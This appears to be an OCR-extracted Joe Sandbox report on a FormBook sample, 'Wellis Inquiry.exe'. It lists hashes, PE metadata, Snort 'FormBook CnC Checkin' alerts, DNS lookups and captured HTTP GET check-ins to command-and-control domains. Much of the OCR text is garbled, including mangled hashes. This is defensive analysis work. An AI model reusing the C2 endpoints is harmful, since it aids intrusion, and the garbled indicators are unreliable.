https://view.joesandbox.com/analysis/392566/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/392566/html/none?idtype=webid
https://view.joesandbox.com/analysis/392564/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/392564/html/none?idtype=webid
https://view.joesandbox.com/analysis/392387/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/392387/html/none?idtype=webid
https://view.joesandbox.com/analysis/392231/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/392231/html/none?idtype=webid
https://view.joesandbox.com/analysis/394832/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394832/html/none?idtype=webid
https://view.joesandbox.com/analysis/394681/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394681/html/none?idtype=webid
https://view.joesandbox.com/analysis/394491/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394491/html/none?idtype=webid
https://view.joesandbox.com/analysis/394463/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394463/html/none?idtype=webid
https://view.joesandbox.com/analysis/394415/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394415/html/none?idtype=webid
https://view.joesandbox.com/analysis/394366/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394366/html/none?idtype=webid
https://view.joesandbox.com/analysis/394158/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394158/html/none?idtype=webid
https://view.joesandbox.com/analysis/393941/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393941/html/none?idtype=webid
https://view.joesandbox.com/analysis/393873/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393873/html/none?idtype=webid
https://view.joesandbox.com/analysis/393785/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393785/html/none?idtype=webid
https://view.joesandbox.com/analysis/393749/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393749/html/none?idtype=webid
https://view.joesandbox.com/analysis/393602/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393602/html/none?idtype=webid
https://view.joesandbox.com/analysis/393543/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393543/html/none?idtype=webid
https://view.joesandbox.com/analysis/393522/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393522/html/none?idtype=webid
https://view.joesandbox.com/analysis/393361/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393361/html/none?idtype=webid
https://view.joesandbox.com/analysis/393357/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393357/html/none?idtype=webid
https://view.joesandbox.com/analysis/393042/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393042/html/none?idtype=webid
https://view.joesandbox.com/analysis/393027/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393027/html/none?idtype=webid
https://view.joesandbox.com/analysis/392992/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/392992/html/none?idtype=webid
https://view.joesandbox.com/analysis/392667/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/392667/html/none?idtype=webid
https://view.joesandbox.com/analysis/395005/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/395005/html/none?idtype=webid
https://view.joesandbox.com/analysis/394288/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394288/html/none?idtype=webid
https://view.joesandbox.com/analysis/393042/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393042/html/none?idtype=webid
https://view.joesandbox.com/analysis/392566/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/392566/html/none?idtype=webid
https://view.joesandbox.com/analysis/392478/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/392478/html/none?idtype=webid
https://view.joesandbox.com/analysis/392242/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/392242/html/none?idtype=webid
https://view.joesandbox.com/analysis/390669/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390669/html/none?idtype=webid

Match

BODIS-NJUS

JA3 Fingerprints
No context

Dropped Files

No context

SHA 256
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
Get hash
Get hash
Get hash
Get hash

Get hash
Get hash
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Created / dropped Files

C:\Users\user\AppDatal\Local\Microsoft\CLR _v4.0 32\UsagelLogs\Wellis Inquiry.exe.log

Process: C:\Users\user\Desktop\Wellis Inquiry.exe
File Type: ASCII text, with CRLF line terminators
Category: dropped
Size (bytes): 1216
Entropy (8bit):  5.355304211458859
Encrypted: false
SSDEEP: 24:MLUE4K5E4Ks2E1qE4qXKDE4KhK3VZ9pKhPKIE40KFKHK0ZAE4KZr7FE4x84):MIHKSHKXE1gHIYHKhQnoPtHoxHhAHKzr
MD5: FED34146BF2F2FA59DCF8702FCC8232E
SHAL: BO3BFEA175989D989850CFO06FESE7BBF56EAAQ0A
SHA-256: 123BE4E3590609A008E85501243AF5BC53FA0C26C82A92881B8879524F8C0OD5C
SHA-512:
F6
Malicious: false
Reputation: high, very likely benign file

Detection
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious

malicious

malicious
malicious
malicious
malicious
malicious

malicious

malicious

malicious

Link

Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse

Browse

Browse
Browse
Browse
Browse
Browse

Browse

Browse

Browse

Context

e 183.181.96.16
e 157.112.148.25
e 160.27.203.237
e 160.27.203.212
e 183.181.96.71
e 183.181.96.46
e 182.49.57.28
e 133.167.92.111
e 112.78.226.191
e 210.188.201.66
e 183.181.96.122
e 183.181.96.122
e 219.94.203.180
e 199.59.242.153
e 199.59.242.153
e 199.59.242.153
e 199.59.242.153
e 199.59.242.153
e 199.59.242.153
e 199.59.242.153

e 199.59.242.153
e 199.59.242.153
e 199.59.242.153
e 199.59.242.153
e 199.59.242.153

e 199.59.242.153
e 199.59.242.153
e 199.59.242.153
e 199.59.242.153
e 199.59.242.153
e 199.59.242.153

e 199.59.242.153
e 199.59.242.153

1CC89F2ED1DBD70628FA1DC41A32BA0BFA3E81EAE1IALCF3C5F6A48F2DA0BF1F21A5001B8A18B04043C5B8FE4AFBEG663068D86AA8CABD8EL7933F75687C3178F
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https://view.joesandbox.com/analysis/390222/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390222/html/none?idtype=webid
https://view.joesandbox.com/analysis/389711/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/389711/html/none?idtype=webid
https://view.joesandbox.com/analysis/389455/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/389455/html/none?idtype=webid
https://view.joesandbox.com/analysis/388509/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/388509/html/none?idtype=webid
https://view.joesandbox.com/analysis/388494/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/388494/html/none?idtype=webid
https://view.joesandbox.com/analysis/386816/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386816/html/none?idtype=webid
https://view.joesandbox.com/analysis/384133/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384133/html/none?idtype=webid
https://view.joesandbox.com/analysis/384101/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384101/html/none?idtype=webid
https://view.joesandbox.com/analysis/382636/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/382636/html/none?idtype=webid
https://view.joesandbox.com/analysis/382534/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/382534/html/none?idtype=webid
https://view.joesandbox.com/analysis/381605/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/381605/html/none?idtype=webid
https://view.joesandbox.com/analysis/381588/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/381588/html/none?idtype=webid
https://view.joesandbox.com/analysis/380077/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/380077/html/none?idtype=webid
https://view.joesandbox.com/analysis/394569/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/394569/html/none?idtype=webid
https://view.joesandbox.com/analysis/393941/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393941/html/none?idtype=webid
https://view.joesandbox.com/analysis/393074/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/393074/html/none?idtype=webid
https://view.joesandbox.com/analysis/391992/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/391992/html/none?idtype=webid
https://view.joesandbox.com/analysis/390023/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/390023/html/none?idtype=webid
https://view.joesandbox.com/analysis/389818/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/389818/html/none?idtype=webid
https://view.joesandbox.com/analysis/387887/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/387887/html/none?idtype=webid
https://view.joesandbox.com/analysis/386637/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386637/html/none?idtype=webid
https://view.joesandbox.com/analysis/386626/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386626/html/none?idtype=webid
https://view.joesandbox.com/analysis/386552/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386552/html/none?idtype=webid
https://view.joesandbox.com/analysis/386413/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386413/html/none?idtype=webid
https://view.joesandbox.com/analysis/386218/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/386218/html/none?idtype=webid
https://view.joesandbox.com/analysis/384423/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/384423/html/none?idtype=webid
https://view.joesandbox.com/analysis/383609/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/383609/html/none?idtype=webid
https://view.joesandbox.com/analysis/383600/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/383600/html/none?idtype=webid
https://view.joesandbox.com/analysis/382000/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/382000/html/none?idtype=webid
https://view.joesandbox.com/analysis/381424/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/381424/html/none?idtype=webid
https://view.joesandbox.com/analysis/379995/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379995/html/none?idtype=webid
https://view.joesandbox.com/analysis/379774/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/379774/html/none?idtype=webid
https://view.joesandbox.com/analysis/378209/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/378209/html/none?idtype=webid

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0 32\UsagelLogs\Wellis Inquiry.exe.log

Preview:

1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.
0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\Nativelmages_v4.0.30319_32\System\4f0a7eefa3cd3e0ba98b5ebddbbc72e6\System.
ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyT
oken=b77a5c561934e089","C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Core\f1d8480152e0da9a60ad49c6d16a3b6d\System.Core.ni.dll",0..3,"System.C
onfiguration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5{7f11d50a3a","C:\Windows\assembly\Nativelmages_v4.0.30319_32\System.Configuration\

8d67d92724ba494b6c7fd089d6f25b48\System.Configuration.ni.dil”,0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"

\Windows\assembly\Nativelmages_v4.0.30319_32\System.Xml\b219d4630d26b88041b59c21

Static File Info
General
File type:

Entropy (8bit):
TriD:

File name:
File size:
MD5:
SHA1L:
SHA256:

SHAS512:

SSDEEP:

File Content Preview:

File Icon

Icon Hash:

Static PE Info

General

Entrypoint:

Entrypoint Section:
Digitally signed:
Imagebase:

Subsystem:

Image File Characteristics:
DLL Characteristics:

Time Stamp:

TLS Callbacks:

CLR (.Net) Version:

OS Version Major:

OS Version Minor:

File Version Major:

File Version Minor:
Subsystem Version Major:
Subsystem Version Minor:

Import Hash:

Copyright Joe Security LLC 2021

00828e8e8686b000

0x453ab2
text
false
0x400000

windows gui

C:

PE32 executable (GUI) Intel 80386 Mono/.Net assemb
ly, for MS Windows

7.925371225202555

e Win32 Executable (generic) Net Framework
(10011505/4) 49.83%

e Win32 Executable (generic) a (10002005/4)

49.78%

Generic CIL Executable (.NET, Mono, etc.)

(73296/58) 0.36%

Win16/32 Executable Delphi generic (2074/23)

0.01%

e Generic Win/DOS Executable (2004/3) 0.01%

.

.

Wellis Inquiry.exe

337408

c357a8010e661a49df2e813bd22590b6
08ecd005e1449ec97d0405e83649686ae35f6286

eef137583dab6deb4albe9882cedebeec5112b74ae79c07
73f45b13346c5b2890

71957a0cd597213808b15h1abe9ce3df07889627b4alb8
49362df07de6da3984803c6b2e6487338375a558dc9c1f(
db32aee42fde89cee305078c22d6h92890e

6144:YaX+sbCdgMkhBJIDxtvArlcq90N9prggZmNgoPjLf
sPbU9wgJlhjb3BB5NAwg60Bm:Y/pd7SBBArIMNIFsrP
XETWwa53BB5NAK

MZ.... .@.
is program cannot be run i

32BIT_MACHINE, EXECUTABLE_IMAGE
NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
0x616787BC [Thu Oct 14 01:28:28 2021 UTC]

v4.0.30319

o » ©o » O »

f34d5f2d4577ed6d9ceec516c1f5a744

Page 18 of 29



Entrypoint Preview

Data Directories

Sections

Name  Virtual Address

text 0x2000

.rsrc 0x54000

.reloc 0x56000

Resources

Imports

Version Infos

Virtual Size Raw Size Xored PE
0x51ab8 0x51c00 False
0x5d4 0x600 False
Ooxc 0x200 False

Network Behavior

Snort IDS Alerts

Timestamp

10/14/21-
07:29:45.850339

10/14/21-
07:29:45.850339

10/14/21-
07:29:45.850339

10/14/21-
07:29:51.188764

10/14/21-
07:29:51.188764

10/14/21-
07:29:51.188764

10/14/21-
07:29:51.303333

10/14/21-
07:29:56.615066

10/14/21-
07:29:56.615066

10/14/21-
07:29:56.615066

10/14/21-
07:29:57.113888

10/14/21-
07:30:17.527386

10/14/21-
07:30:17.527386

10/14/21-
07:30:17.527386

10/14/21-
07:30:28.557863

Protocol SID

TCP 2031453
TCP 2031449
TCP 2031412
TCP 2031453
TCP 2031449
TCP 2031412
TCP 1201
TCP 2031453
TCP 2031449
TCP 2031412
TCP 1201
TCP 2031453
TCP 2031449
TCP 2031412
TCP 1201

Network Port Distribution

TCP Packets

UDP Packets

Copyright Joe Security LLC 2021

Message

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ATTACK-RESPONSES 403 Forbidden

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ATTACK-RESPONSES 403 Forbidden

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ET TROJAN FormBook CnC Checkin (GET)

ATTACK-RESPONSES 403 Forbidden

ZLIB Complexity
0.952127532492

0.4296875

0.044921875

File Type

data

data

data

Entropy

7.93897204497

4.15892523316

0.101910425663

Source

Port

49808

49808

49808

49814

49814

49814

80

49818

49818

49818

80

49842

49842

49842

80

Characteristics

IMAGE_SCN_MEM_EXECUTE,
IMAGE_SCN_CNT_CODE,
IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA, IMAGE_SCN_MEM_READ

IMAGE_SCN_CNT_INITIALIZED_D
ATA,
IMAGE_SCN_MEM_DISCARDABLE
. IMAGE_SCN_MEM_READ

Dest

Port

80

80

80

80

80

49814

80

80

80

49818

80

80

80

49847

Source IP

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

34.102.136.180

192.168.2.4

192.168.2.4

192.168.2.4

151.106.117.36

192.168.2.4

192.168.2.4

192.168.2.4

23.227.38.74

Dest IP
183.90.240.3

183.90.240.3

183.90.240.3

34.102.136.180

34.102.136.180

34.102.136.180

192.168.2.4

151.106.117.36

151.106.117.36

151.106.117.36

192.168.2.4

199.59.242.153

199.59.242.153

199.59.242.153

192.168.2.4
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DNS Queries

Timestamp

Oct 14, 2021 07:29:45.284503937 CEST

Oct 14, 2021 07:29:51.145488024 CEST

Oct 14, 2021 07:29:56.321822882 CEST
Oct 14, 2021 07:30:07.181576967 CEST
Oct 14, 2021 07:30:12.243588924 CEST
Oct 14, 2021 07:30:17.323776960 CEST
Oct 14, 2021 07:30:22.664800882 CEST
Oct 14, 2021 07:30:28.433368921 CEST

Oct 14, 2021 07:30:33.582624912 CEST

DNS Answers

Timestamp Source IP Dest IP

Oct 14, 2021
07:29:45.550026894
CEST

8.8.8.8 192.168.2.4

Oct 14, 2021
07:29:51.167728901
CEST

8.8.8.8 192.168.2.4

Oct 14, 2021
07:29:51.167728901
CEST

8.8.8.8 192.168.2.4

Oct 14, 2021
07:29:56.353691101
CEST

Oct 14, 2021
07:29:56.353691101
CEST

Oct 14, 2021
07:30:07.220613956
CEST

Oct 14, 2021
07:30:12.267743111
CEST

Oct 14, 2021
07:30:12.267743111
CEST

Oct 14, 2021
07:30:17.425107002
CEST

Oct 14, 2021
07:30:22.688800097
CEST

Oct 14, 2021
07:30:28.462132931
CEST

Oct 14, 2021
07:30:28.462132931
CEST

Oct 14, 2021
07:30:33.607409954
CEST

Oct 14, 2021
07:30:33.607409954
CEST

Oct 14, 2021
07:30:33.607409954
CEST

Oct 14, 2021
07:30:33.607409954
CEST

Oct 14, 2021
07:30:33.607409954
CEST
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8.8.8.8 192.168.2.4

8.8.8.8

192.168.2.4

8.8.8.8

192.168.2.4

8.8.8.8

192.168.2.4

8.8.8.8

192.168.2.4

8.8.8.8

192.168.2.4

8.8.8.8

192.168.2.4

8.8.8.8

192.168.2.4

8.8.8.8

192.168.2.4

8.8.8.8

192.168.2.4

8.8.8.8

192.168.2.4

8.8.8.8

192.168.2.4

8.8.8.8

192.168.2.4

8.8.8.8 192.168.2.4

Source IP

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

192.168.2.4

Trans ID

Ox5aeb

0x8c07

0x8c07

0x2138

0x2138

Oxaaa?

Oxalcc

Oxalcc

0x3ce0

0x9df8

0xbb3c

0xbb3c

0x375b

0x375b

0x375b

0x375b

0x375b

Dest IP
8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

8.8.8.8

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Name error (3)

No error (0)

No error (0)

No error (0)

Name error (3)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

Trans ID

Ox5aeb

0x8c07

0x2138

Oxaaa7?

Oxalcc

0x3ce0

0x9df8

Oxbb3c

0x375b

Name

Www.maruno
uchil.com

www.psyche
deliccosme
tics.com

psychedeli
ccosmetics.com

www.aceser
ial.xyz

aceserial.xyz

www.blackm
agiccomics.com

www.ebookg
ratis.online

www.ebookg
ratis.online

www.ovmfin
acial.com

www.richar
tware.com

www.dollpa
rtyla.com

shops.mysh
opify.com

www.quickc
arehomeopa
thic.com

parkingpag
e.namechea
p.com
parkingpag
e.namechea
p.com
parkingpag
e.namechea
p.com
parkingpag
e.namechea
p.com

OP Code
Standard query
0

Standard query
0

Standard query
(0
Standard query
(0
Standard query
(0
Standard query
(0
Standard query
(0
Standard query
(0)
Standard query
@

CName

Name

WwWw.maruno
uchil.com
www.psyche
deliccosme
tics.com
www.aceser
ial.xyz
www.blackm
agiccomics.com

www.ebookg
ratis.online

www.ovmfin
acial.com

www.richar
tware.com

www.dollpa
rtyla.com

www.quickc
arehomeopa
thic.com

Address
183.90.240.3

psychedeliccosmetics.co

m

aceserial.xyz

none

none

shops.myshopify.com

34.102.136.180

151.106.117.36

none

104.21.2.218

172.67.129.186

199.59.242.153

none

23.227.38.74

parkingpage.namecheap.

com

198.54.117.210

198.54.117.218

198.54.117.215

198.54.117.212

Type
A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Type
A (IP address)

CNAME
(Canonical
name)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

CNAME
(Canonical
name)

A (IP address)

A (IP address)

A (IP address)

A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0Xx0001)

IN (0x0001)

IN (0X0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)
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Timestamp Source IP Dest IP Trans ID

Oct 14, 2021 8.8.8.8 192.168.2.4 0x375b
07:30:33.607409954
CEST

Oct 14, 2021 8.8.8.8 192.168.2.4 0x375b
07:30:33.607409954
CEST

Oct 14, 2021 8.8.8.8 192.168.2.4 0x375b
07:30:33.607409954
CEST

HTTP Request Dependency Graph

e www.marunouchil.com

e www.psychedeliccosmetics.com

e www.aceserial.xyz

e www.ebookgratis.online

e www.ovmfinacial.com

e www.dollpartyla.com

HTTP Packets

Session ID Source IP Source Port

0 192.168.2.4 49808
kBytes

Timestamp transferred Direction

Oct 14, 2021 2545 ouT

07:29:45.850338936 CEST

Oct 14, 2021 2546 IN
07:29:46.135214090 CEST

Session ID Source IP Source Port

1 192.168.2.4 49814
kBytes

Timestamp transferred Direction

Copyright Joe Security LLC 2021

Reply Code Name CName Address Type Class

No error (0) parkingpag 198.54.117.211 A (IP address)  IN (0x0001)
e.namechea
p.com

No error (0) parkingpag 198.54.117.216 A (IP address)  IN (0x0001)
e.namechea
p.com

No error (0) parkingpag 198.54.117.217 A (IP address)  IN (0x0001)
e.namechea
p.com

Destination IP Destination Port Process

183.90.240.3 80 C:\Windows\explorer.exe

Data

GET /ag9v/?9rq=RZxJGV19NODz6/sPI50rcsjPCmhff0B2cQNSDIXNHIzuAkz3tWy1tz3gnsv2II30OKIXw&BFQ=5j
10jAMHAOhX_ HTTP/1.1

Host: www.marunouchil.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 302 Found

Server: nginx

Date: Thu, 14 Oct 2021 05:29:46 GMT

Content-Type: text/html; charset=iso-8859-1

Content-Length: 312

Connection: close

Location: https://www.marunouchil.com/ag9v/?9rq=RZxJGV19NODz6/sPI50rcsjPCmhff0B2cQNSDIXNHIzuAkz3tWy1
tz3gnsv2I130KfXw&BFQ=5jl0jhMHAOhX_

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48
54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6¢ 3e 3¢ 68 65 61 64 3e 0a 3¢ 74 69 74 6¢ 65 3e 33 30 32 20 46 6f
75 6e 64 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e Oa 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e
0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3¢ 61 20 68 72 65 66 3d 22 68 74 74 70
73 3a 2f 2f 77 77 77 2e 6d 61 72 75 6e 6f 75 63 68 69 31 2e 63 6f 6d 2f 61 67 39 76 2f 3f 39 72 71 3d 52 5a 78 4a 47 56
31 39 4e 4f 44 7a 36 2f 73 50 6¢ 35 30 72 63 73 6a 50 43 6d 68 66 66 30 42 32 63 51 4e 53 44 39 58 4e 48 6¢ 7a 75 41 6b
7a 337457793174 7a33 67 6e 73 76 32 49 49 33 4f 4b 66 58 77 26 61 6d 70 3b 42 46 51 3d 35 6a 49 30 6a 68 4d 48
41 30 68 78 5f 22 3e 68 65 72 65 3¢ 2f 61 3e 2e 3c 2f 70 3e Oa 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6¢ 3e Oa

Data Ascii: <IDOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><htm|><head><title>302 Found</title></head>
<body><h1>Found</h1><p>The document has moved <a href="https://www.marunouchil.com/ag9v/?9rq=RZ
xJGV19NODz6/sPI50rcsjPCmhff0B2cQNSDIXNHIzuAkz3tWy1tz3gnsv21I30KfXw&amp;BFQ=5jI0jhMHAOhX_">here</a>.
</p></body></html>

Destination IP Destination Port Process

34.102.136.180 80 C:\Windows\explorer.exe

Data
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kBytes
Timestamp transferred

Oct 14, 2021 5497
07:29:51.188764095 CEST

Oct 14, 2021 5497
07:29:51.303333044 CEST

Session ID Source IP
2 192.168.2.4

kBytes
Timestamp transferred
Oct 14, 2021 5654

07:29:56.615066051 CEST

Copyright Joe Security LLC 2021

Direction

ouT

Source Port

49818

Direction

ouT

Data

GET /ag9v/?9rq=B7neoLnMPG5T4Lg1mgXXW304rycOTDTB8h8f/WhOEZEEcWgrsd/ecy8wgWRxVB11aSvz&BFQ=5j

10jhMHAOhX_ HTTP/1.1

Host: www. psychedeliccosmetics.com
Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:

HTTP/1.1 403 Forbidden

Server: openresty

Date: Thu, 14 Oct 2021 05:29:51 GMT
Content-Type: text/html
Content-Length: 275

ETag: "615f93b1-113"

Via: 1.1 google

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6¢ 3e Oa 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 22 3e Oa 3c 68 65
61 64 3e Oa 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22
20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20
20 3c 6¢ 69 6e 6b 20 72 65 6¢ 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d
61 67 65 2f 78 2d 69 63 6f 6e 3b 2¢ 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 3e 0a 20 20 20 20 3¢
74 69 74 6c 65 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6¢ 65 3e Oa 3c 2f 68 65 61 64 3e Oa 3c 62 6f 64 79 3e Oa 3c
68 31 3e 41 63 63 65 73 73 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e Oa 3c 2f 62 6f 64 79 3e Oa 3c 2f 68 74 6d 6¢ 3e

Oa

Data Ascii: <IDOCTYPE html><html lang="en"><head> <meta http-equiv="content-type" content="text/html;charset=utf-
8"> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon">  <title>Forbidden</titte></head><body>

<h1>Access Forbidden</h1></body></html>

Destination IP Destination Port Process

151.106.117.36 80 C:\Windows\explorer.exe

Data

GET /ag9v/?9rq=8aghxAEFV3UFLmMLUmMwXrjnry418PGHpXxFVOvh2n7b9U9R7NIlya57 CFUx9pJqwzlAw7&BFQ=5]

10jhMHAOhx_ HTTP/1.1

Host: www.aceserial.xyz
Connection: close

Data Raw: 00 00 00 00 00 00 00
Data Ascii:
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kBytes

Timestamp transferred

Oct 14, 2021 6010

07:29:57.113888025 CEST

Session ID Source IP

3 192.168.2.4
kBytes

Timestamp transferred

Oct 14, 2021 6071

07:30:12.290184021 CEST

Oct 14, 2021 6072

07:30:12.313358068 CEST

Session ID Source IP

4 192.168.2.4

Copyright Joe Security LLC 2021

Direction

IN

Source Port
49841

Direction
ouT

Source Port

49842

Data

HTTP/1.1 403 Forbidden

Content-Type: text/html

Cache-Control: no-cache, no-store, must-revalidate

Pragma: no-cache

Expires: 0

Server: BitNinja Captcha Server

Date: Thu, 14 Oct 2021 05:29:57 GMT

Content-Length: 13724

Connection: close

Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6¢ 20 6¢ 61 6e 67 3d 22 65 6e 2d 55 53 22 3e Oa
2020 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38
22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74
79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6¢ 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22
20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78
